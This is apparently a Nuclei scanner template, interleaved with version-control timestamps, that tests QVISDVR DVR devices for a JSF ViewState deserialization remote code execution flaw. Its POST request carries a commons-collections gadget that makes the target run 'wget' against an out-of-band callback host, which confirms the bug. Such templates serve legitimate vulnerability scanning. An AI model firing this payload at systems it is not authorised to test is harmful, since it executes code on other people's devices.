2021-07-18 16:30:43 +00:00
|
|
|
id: qvisdvr-deserialization-rce
|
|
|
|
|
|
|
|
info:
|
|
|
|
author: me9187
|
|
|
|
name: QVISDVR JSF Deserialization - Remote Code Execution
|
|
|
|
severity: critical
|
|
|
|
reference: https://twitter.com/Me9187/status/1414606876575162373
|
|
|
|
tags: qvisdvr,rce,deserialization,jsf,iot
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /qvisdvr/ HTTP/1.1
|
2021-07-18 16:32:30 +00:00
|
|
|
Host: {{Hostname}}
|
2021-07-18 16:30:43 +00:00
|
|
|
Content-Type: application/x-www-form-urlencoded
|
2021-07-27 16:13:39 +00:00
|
|
|
|
2021-07-18 16:30:43 +00:00
|
|
|
- |
|
|
|
|
POST /qvisdvr/index.faces;jsessionid={{token}} HTTP/1.1
|
2021-07-18 16:32:30 +00:00
|
|
|
Host: {{Hostname}}
|
2021-07-18 16:30:43 +00:00
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2021-07-27 10:59:17 +00:00
|
|
|
javax.faces.ViewState={{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
|
2021-07-18 16:30:43 +00:00
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: token
|
|
|
|
group: 1
|
|
|
|
internal: true
|
|
|
|
part: header
|
|
|
|
regex:
|
|
|
|
- "JSESSIONID=(.*)"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 500
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: interactsh_protocol
|
|
|
|
words:
|
|
|
|
- http
|